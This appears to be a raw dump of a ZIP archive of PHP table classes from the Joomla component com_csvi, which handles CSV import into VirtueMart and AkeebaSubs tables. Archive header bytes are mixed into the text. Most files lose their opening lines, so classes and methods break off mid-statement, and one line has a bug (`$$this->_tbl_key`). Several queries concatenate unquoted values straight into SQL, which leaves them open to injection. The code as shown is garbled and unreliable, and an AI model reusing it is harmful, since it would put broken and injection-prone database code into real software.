$this->_tbl_key, false ); } else { $ret = $this->_db->insertObject( $this->_tbl, $this, $this->_tbl_key ); } if( !$ret ) { $this->setError(get_class( $this ).'::store failed - '.$this->_db->getErrorMsg()); return false; } else { return true; } } /** * Check if a relation already exists */ public function check() { $q = "SELECT COUNT(".$this->_tbl_key.") AS total FROM ".$this->_tbl." WHERE category_parent_id = ".$this->category_parent_id." AND category_child_id = ".$this->category_child_id; $this->_db->setQuery($q); $result = $this->_db->loadResult(); if ($result > 0) return true; else return false; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\o 7com_csvi/tables/com_virtuemart/product_customfields.phpnuW+AgetQuery(true); $query->select($db->qn($this->_tbl_key)); $query->from($db->qn($this->_tbl)); $query->where($db->qn('virtuemart_product_id').' = '.$db->q($this->virtuemart_product_id)); $query->where($db->qn('virtuemart_custom_id').' = '.$db->q($this->virtuemart_custom_id)); $query->where($db->qn('custom_value').' = '.$db->q($this->custom_value)); $db->setQuery($query); $id = $db->loadResult(); if ($id) { $this->virtuemart_customfield_id = $id; return true; } else return false; } /** * Delete all related products for given product ID * * @copyright * @author RolandD * @todo * @see * @access public * @param int $product_id the product to delete related products for * @param int $vendor_id the vendor ID to filter on * @param int $related_id the related ID to filter on * @return * @since 4.0 */ public function deleteRelated($product_id, $vendor_id, $related_id) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->delete($this->_tbl); $query->where('virtuemart_product_id = '.$product_id); $query->where('virtuemart_custom_id = '.$related_id); $db->setQuery($query); return $db->query(); } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\_#*com_csvi/tables/com_virtuemart/ratings.phpnuW+Avirtuemart_rating_id)) { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); // Check if a record already exists in the database $q = "SELECT ".$this->_tbl_key." FROM ".$this->_tbl." WHERE virtuemart_product_id = '".$this->virtuemart_product_id."' AND created_by = ".$this->created_by; $db->setQuery($q); $db->query($q); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_RATING_EXISTS'), true); if ($db->getAffectedRows() > 0) { $this->virtuemart_rating_id = $db->loadResult(); return true; } else { // There is no entry yet, so we must insert a new one return false; } } // There is already a rating id else return true; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\ %+com_csvi/tables/com_virtuemart/products.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\x/com_csvi/tables/com_virtuemart/rating_votes.phpnuW+Avirtuemart_rating_vote_id)) { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); // Check if a record already exists in the database $q = "SELECT ".$this->_tbl_key." FROM ".$this->_tbl." WHERE virtuemart_product_id = '".$this->virtuemart_product_id."' AND created_by = ".$this->created_by; $db->setQuery($q); $db->query($q); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_RATING_VOTE_EXISTS'), true); if ($db->getAffectedRows() > 0) { $this->virtuemart_rating_vote_id = $db->loadResult(); return true; } else { // There is no entry yet, so we must insert a new one return false; } } // There is already a rating id else return true; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\/com_csvi/tables/com_virtuemart/waitingusers.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } /** * Check if there is already a waiting list entry * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.1 */ public function check() { if (empty($this->virtuemart_waitinguser_id)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $query->where('virtuemart_user_id = '.$this->virtuemart_user_id); $db->setQuery($query); $this->virtuemart_waitinguser_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_CHECKING_WAITINGLIST_EXISTS'), true); } } } ?> PKs>\MD D :com_csvi/tables/com_virtuemart/product_categories_xref.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); // Check if the entry already exists if (!$this->checkDuplicate()) { $ret = $this->_db->insertObject( $this->_tbl, $this); $csvilog->addDebug(JText::_('COM_CSVI_ADD_NEW_CATEGORY_REFERENCES'), true); if (!$ret) { $this->setError(get_class($this).'::store failed - '.$this->_db->getErrorMsg()); return false; } else return true; } else return true; } /** * Check if the entry already exists */ private function checkDuplicate() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $q = "SELECT COUNT(*) AS total FROM ".$this->_tbl." WHERE virtuemart_product_id = ".$this->virtuemart_product_id." AND virtuemart_category_id = ".$this->virtuemart_category_id; $db->setQuery($q); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_IF_CATEGORY_REFERENCE_ALREADY_EXISTS'), true); $total = $db->loadResult(); if ($total > 0) { $csvilog->addDebug(JText::_('COM_CSVI_CATEGORY_REFERENCE_ALREADY_EXISTS')); return true; } else { $csvilog->addDebug(JText::_('COM_CSVI_CATEGORY_REFERENCE_DOES_NOT_YET_EXIST')); return false; } } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\ݛ< 8com_csvi/tables/com_virtuemart/product_manufacturers.phpnuW+AgetQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('virtuemart_product_id = '.$db->Quote($this->virtuemart_product_id)); $query->where('virtuemart_manufacturer_id = '.$db->Quote($this->virtuemart_manufacturer_id)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) { $this->id = $id; return true; } else return false; } /** * Store a manufacturer reference * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function store($updateNulls=false) { // First remove any existing references $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->delete($db->quoteName($this->_tbl)); $query->where($db->quoteName('virtuemart_product_id').' = '.$db->quote($this->virtuemart_product_id)); $db->setQuery($query); if ($db->query()) return parent::store($updateNulls); else return false; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\L-com_csvi/tables/com_virtuemart/categories.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\?fgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\SC .com_csvi/tables/com_virtuemart/order_items.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\YH*com_csvi/tables/com_virtuemart/vmusers.phpnuW+Avirtuemart_user_id)) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('COUNT('.$this->_tbl_key.') AS total'); $query->from($this->_tbl); $query->where($db->quoteName($this->_tbl_key).' = '.$db->Quote($this->virtuemart_user_id)); $db->setQuery($query); if ($db->loadResult() == 1) return true; else { $query = "INSERT IGNORE INTO ".$db->quoteName($this->_tbl)." (".$db->quoteName($this->_tbl_key).") VALUES (".$db->Quote($this->virtuemart_user_id).")"; $db->setQuery($query); $db->query(); return false; } } } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\.1com_csvi/tables/com_virtuemart/product_prices.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where($db->qn('virtuemart_product_id').' = '.$db->q($this->virtuemart_product_id)); $query->where($db->qn('virtuemart_shoppergroup_id').' = '.$db->q($this->virtuemart_shoppergroup_id)); $query->where($db->qn('product_currency').' = '.$db->q($this->product_currency)); $query->where($db->qn('price_quantity_start').' = '.$db->q($this->price_quantity_start)); $query->where($db->qn('price_quantity_end').' = '.$db->q($this->price_quantity_end)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_VM_PRODUCT_PRICE'), true); $id = $db->loadResult(); if ($id) { $this->virtuemart_product_price_id = $id; $this->load($id); return true; } else return false; } /** * See if we can find a shopper group ID * * @copyright * @author RolandD * @todo * @see * @access * @param * @return array of shopper group IDs * @since 4.0 */ public function getShopperGroupID() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('virtuemart_shoppergroup_id'); $query->from($this->_tbl); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $shopper_groups = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_VM_PRODUCT_PRICE_SHOPPER_GROUP'), true); return $shopper_groups; } /** * This function calculates the new price by adding the uploaded value * to the current price * * Prices can be calculated with: * - Add (+) * - Subtract (-) * - Divide (/) * - Multiply (*) * * Add and subtract support percentages * * @todo logging */ public function CalculatePrice() { // Get the operation $operation = substr($this->product_price, 0, 1); if (strstr('+-/*', $operation)) { // Get the price value $modify = $this->product_price; // Clone the current instance as we don't want the DB values overwrite the uploaded values */ $newprice = clone $this; // Get the current price in the database $newprice->check(); $newprice->load($this->virtuemart_product_price_id); $this->virtuemart_product_price_id = $newprice->virtuemart_product_price_id; // Set the price to calculate with $price = $newprice->product_price; // Check if we have a percentage value if (substr($modify, -1) == '%') { $modify = substr($modify, 0, -1); $percent = true; } else $percent = false; // Get the price value $value = substr($modify, 1); // Check what modification we need to do and apply it switch ($operation) { case '+': if ($percent) $price += $price* ($value/100); else $price += $value; break; case '-': if ($percent) $price -= $price* ($value/100); else $price -= $value; break; case '/': $price /= $value; break; case '*': $price*= $value; break; default: // Assign the current price to prevent it being overwritten $price = $this->product_price; break; } // Set the new price $this->product_price = $price; } } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } }PKs>\V]z4ii2com_csvi/tables/com_virtuemart/category_medias.phpnuW+AgetQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('virtuemart_category_id = '.$db->Quote($this->virtuemart_category_id)); $query->where('virtuemart_media_id = '.$db->Quote($this->virtuemart_media_id)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) return true; else return false; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\#o,,)com_csvi/tables/com_virtuemart/index.htmlnuW+APKs>\I88com_csvi/tables/com_virtuemart/product_shoppergroups.phpnuW+AgetQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $query->where('virtuemart_shoppergroup_id = '.$this->virtuemart_shoppergroup_id); $db->setQuery($query); $id = $db->loadResult(); if ($id) return true; else return false; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } }PKs>\#1com_csvi/tables/com_virtuemart/rating_reviews.phpnuW+Avirtuemart__rating_review_id)) { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); // Check if a record already exists in the database $q = "SELECT ".$this->_tbl_key." FROM ".$this->_tbl." WHERE virtuemart_product_id = '".$this->virtuemart_product_id."' AND created_by = ".$this->created_by; $db->setQuery($q); $db->query($q); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_RATING_REVIEW_EXISTS'), true); if ($db->getAffectedRows() > 0) { $this->virtuemart_rating_id = $db->loadResult(); return true; } else { // There is no entry yet, so we must insert a new one return false; } } // There is already a rating id else return true; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\E'?com_csvi/tables/com_virtuemart/manufacturer_categories_lang.phpnuW+Ainput; $template = $jinput->get('template', null, null); parent::__construct('#__virtuemart_manufacturercategories_'.$template->get('language', 'general'), 'virtuemart_manufacturercategories_id', $db ); } /** * Check if the manufacturer category exists * * @copyright * @author RolandD * @todo * @see * @access public * @param bool $create Set true if a dummy entry needs to be added * @return * @since 4.0 */ public function check($create = true) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); if (!empty($this->virtuemart_manufacturercategories_id)) { $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where($db->qn($this->_tbl_key).' = '.$db->q($this->virtuemart_manufacturercategories_id)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURERCATEGORY_EXISTS'), true); return true; } else { if ($create) { // Create a dummy entry for updating $query = "INSERT IGNORE INTO ".$this->_tbl." (".$db->qn($this->_tbl_key).") VALUES (".$db->q($this->virtuemart_manufacturercategories_id).")"; $db->setQuery($query); if ($db->query()) return true; else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURERCATEGORY_NOT_EXISTS'), true); return false; } } else return false; } } else { $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('mf_category_name = '.$db->q($this->mf_category_name)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURERCATEGORY_EXISTS'), true); $this->virtuemart_manufacturercategories_id = $id; return true; } else { if ($create) { // Create a dummy entry for updating $query = "INSERT IGNORE INTO ".$this->_tbl." (".$db->qn($this->_tbl_key).") VALUES (".$db->q($this->virtuemart_manufacturercategories_id).")"; $db->setQuery($query); if ($db->query()) { $this->virtuemart_manufacturercategories_id = $db->insertid(); return true; } else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURERCATEGORY_NOT_EXISTS'), true); return false; } } else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURERCATEGORY_NOT_EXISTS'), true); return false; } } } } /** * Create a slug if needed and store the product * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function store() { if (empty($$this->_tbl_key)) { // Create the slug $this->slug = Com_virtuemart::createSlug($this->mf_category_name); } return parent::store(); } /** * Reset the table fields, need to do it ourselves as the fields default is not NULL * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } }PKs>\[v2com_csvi/tables/com_virtuemart/order_userinfos.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\@Y2com_csvi/tables/com_virtuemart/order_histories.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\9#s%%0com_csvi/tables/com_virtuemart/products_lang.phpnuW+Ainput; $template = $jinput->get('template', null, null); parent::__construct('#__virtuemart_products_'.$template->get('language', 'general'), 'virtuemart_product_id', $db); } /** * Check if the product ID exists * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function check() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where($db->quoteName($this->_tbl_key). ' = '.$this->virtuemart_product_id); $db->setQuery($query); $id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_PRODUCT_LANG'), true); if (empty($id)) { if (empty($this->slug)) $this->createSlug(); if (!empty($this->slug)) { // Create a dummy entry for updating $query = "INSERT INTO ".$this->_tbl." (".$db->qn($this->_tbl_key).", ".$db->qn('slug').") VALUES (".$db->q($this->virtuemart_product_id).", ".$db->q($this->slug).")"; $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_ADD_PRODUCT_LANG'), true); if ($db->query()) { // Get the last inserted ID $query = $db->getQuery(true) ->select($this->_tbl_key) ->from($this->_tbl) ->where($db->qn('slug').' = '.$db->q($this->slug)); $db->setQuery($query); $id = $db->loadResult(); $this->virtuemart_product_id = $id; return true; } } else return false; } else return true; } /** * Validate a slug * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function createSlug() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Create the slug $this->slug = Com_virtuemart::createSlug($this->product_name); // Check if the slug exists $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('COUNT('.$db->qn($this->_tbl_key).')') ->from($this->_tbl) ->where($db->qn('slug').' = '.$db->q($this->slug)) ->where($db->qn($this->_tbl_key).' != '.$db->q($this->virtuemart_product_id)); $db->setQuery($query); $slugs = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_PRODUCT_SLUG'), true); if ($slugs > 0) { $jdate = JFactory::getDate(); $this->slug .= $jdate->format("Y-m-d-h-i-s").mt_rand(); } } /** * Reset the table fields, need to do it ourselves as the fields default is not NULL * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } }PKs>\&Ҡ-com_csvi/tables/com_virtuemart/userfields.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\ ċ 0com_csvi/tables/com_virtuemart/manufacturers.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where($db->qn($this->_tbl_key).' = '.$db->q($this->virtuemart_manufacturer_id)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURER_EXISTS'), true); return true; } else { // Find the default category $query = $db->getQuery(true) ->select('MIN('.($db->qn('virtuemart_manufacturercategories_id').')')) ->from($db->qn('#__virtuemart_manufacturercategories')) ->where($db->qn('published').'=1'); $db->setQuery($query); $this->virtuemart_manufacturercategories_id = $db->loadResult(); // Create a dummy entry for updating $query->insert($this->_tbl) ->columns(array($this->_tbl_key.','.$db->qn('virtuemart_manufacturercategories_id'))) ->values($db->q($this->virtuemart_manufacturer_id).','.$db->q($this->virtuemart_manufacturercategories_id)); $db->setQuery($query); if ($db->query()) { $this->virtuemart_manufacturer_id = $db->insertid(); return true; } else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURER_NOT_EXISTS'), true); return false; } } } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } }PKs>\)com_csvi/tables/com_virtuemart/medias.phpnuW+AgetQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('file_url = '.$db->Quote($this->file_url)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) { $this->virtuemart_media_id = $id; return true; } else return false; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\&'x|YY1com_csvi/tables/com_virtuemart/product_medias.phpnuW+AgetQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('virtuemart_product_id = '.$db->Quote($this->virtuemart_product_id)); $query->where('virtuemart_media_id = '.$db->Quote($this->virtuemart_media_id)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) return true; else return false; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\+*com_csvi/tables/com_virtuemart/customs.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } /** * Check if there is already a waiting list entry * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.1 */ public function check() { if (empty($this->virtuemart_custom_id)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('custom_element = '.$db->Quote($this->custom_element)); $query->where('custom_title = '.$db->Quote($this->custom_title)); $db->setQuery($query); $this->virtuemart_custom_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_CHECKING_CUSTOMFIELD_EXISTS'), true); } } } ?> PKs>\3q q (com_csvi/tables/com_virtuemart/calcs.phpnuW+Ainput; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); if ($this->calc_value) { // Check if the amount exists in the database $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where($db->quoteName('calc_kind').' = '.$db->quote($this->calc_kind)); $query->where($db->quoteName('calc_value_mathop').' = '.$db->quote($this->calc_value_mathop)); $query->where($db->quoteName('calc_value').' BETWEEN '.$db->quote(($this->calc_value-0.1)).' AND '.$db->quote(($this->calc_value+0.1))); if (!empty($this->publish_up)) $query->where('publish_up = '.$db->Quote($this->publish_up)); if (!empty($this->publish_down)) $query->where('publish_down = '.$db->Quote($this->publish_down)); $db->setQuery($query); $ids = $db->loadColumn(); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_CALC_EXISTS'), true); // There are multiple discount ids, we take the first one if (count($ids) > 0) { $csvilog->addDebug(JText::sprintf('COM_CSVI_USE_CALC_ID', $ids[0])); $this->virtuemart_calc_id = $ids[0]; return true; } else { $this->virtuemart_calc_id = null; return false; } } return false; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\Nb2com_csvi/tables/com_virtuemart/categories_lang.phpnuW+Ainput; $template = $jinput->get('template', null, null); if ($template->get('operation', 'options') == 'categoryimport') { if ($template->get('language', 'general') == $template->get('target_language', 'general')) $lang = $template->get('language', 'general'); else $lang = $template->get('target_language', 'general'); } else $lang = $template->get('language', 'general'); parent::__construct('#__virtuemart_categories_'.$lang, 'virtuemart_category_id', $db); } /** * Check if the category ID exists * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function check() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where($db->quoteName($this->_tbl_key). ' = '.$this->virtuemart_category_id); $db->setQuery($query); $id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_CATEGORY_LANG'), true); if (!$id) { if (empty($this->slug)) $this->_validateSlug(); if (!empty($this->slug)) { // Create a dummy entry for updating $query = "INSERT INTO ".$this->_tbl." (".$db->quoteName($this->_tbl_key).", ".$db->quoteName('slug').") VALUES (".$db->Quote($this->virtuemart_category_id).", ".$db->Quote($this->slug).")"; $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_ADD_CATGEGORY_LANG'), true); if ($db->query()) return true; else return false; } else return false; } else return true; } /** * Create a slug if needed and store the product * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function store() { if (empty($this->slug)) { // Create the slug $this->_validateSlug(); } return parent::store(); } /** * Validate a slug * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ private function _validateSlug() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Create the slug $this->slug = Com_virtuemart::createSlug($this->category_name); // Check if the slug exists $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('COUNT('.$db->Quote($this->_tbl_key).')'); $query->from($this->_tbl); $query->where($db->quoteName('slug').' = '.$db->Quote($this->slug)); $db->setQuery($query); $slugs = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_CATGEGORY_SLUG'), true); if ($slugs > 0) { $jdate = JFactory::getDate(); $this->slug .= $jdate->format("Y-m-d-h-i-s").mt_rand(); } } /** * Reset the table fields, need to do it ourselves as the fields default is not NULL * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\狏*com_csvi/tables/csvi_template_settings.phpnuW+APKs>\::)com_csvi/tables/csvi_available_fields.phpnuW+APKs>\|;;com_csvi/tables/csvimproved.phpnuW+AloadArray($array['params']); $array['params'] = $registry->toString(); } return parent::bind($array, $ignore); } } ?>PKs>\iA00-com_csvi/tables/com_akeebasubs/affiliates.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } /** * Check if the affiliate already exists * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function check() { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName($this->_tbl_key)); $query->from($db->quoteName($this->_tbl)); $query->where($db->quoteName('user_id').' = '.$db->quote($this->user_id)); $db->setQuery($query); $this->akeebasubs_affiliate_id = $db->loadResult(); if ($this->akeebasubs_affiliate_id > 0) return true; else return false; } } ?> PKs>\#o,,)com_csvi/tables/com_akeebasubs/index.htmlnuW+APKs>\R .com_csvi/tables/com_akeebasubs/affpayments.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } /** * Check if a payment has already been made * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function check() { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName($this->_tbl_key)); $query->from($db->quoteName($this->_tbl)); $query->where($db->quoteName('akeebasubs_affiliate_id').' = '.$db->quote($this->akeebasubs_affiliate_id)); $query->where($db->quoteName('created_on').' = '.$db->quote($this->created_on)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) return false; else return true; } /** * Delete affiliate payments * * @copyright * @author RolandD * @todo * @see * @access public * @param int $user_id the ID of the affiliate * @return * @since 4.0 */ public function delete($user_id) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->delete($db->quoteName($this->_tbl)); $query->where($db->quoteName('akeebasubs_affiliate_id').' = '.$db->quote($user_id)); $db->setQuery($query); if ($db->query()) return true; else return false; } } ?> PKs>\ǵ*com_csvi/tables/com_akeebasubs/coupons.phpnuW+Aakeebasubs_coupon_id)) return true; else { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('coupon ='.$db->Quote($this->coupon)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_COUPON_CODE_EXISTS'), true); $db->query(); if ($db->getAffectedRows() > 0) { $this->akeebasubs_coupon_id = $db->loadResult(); } } 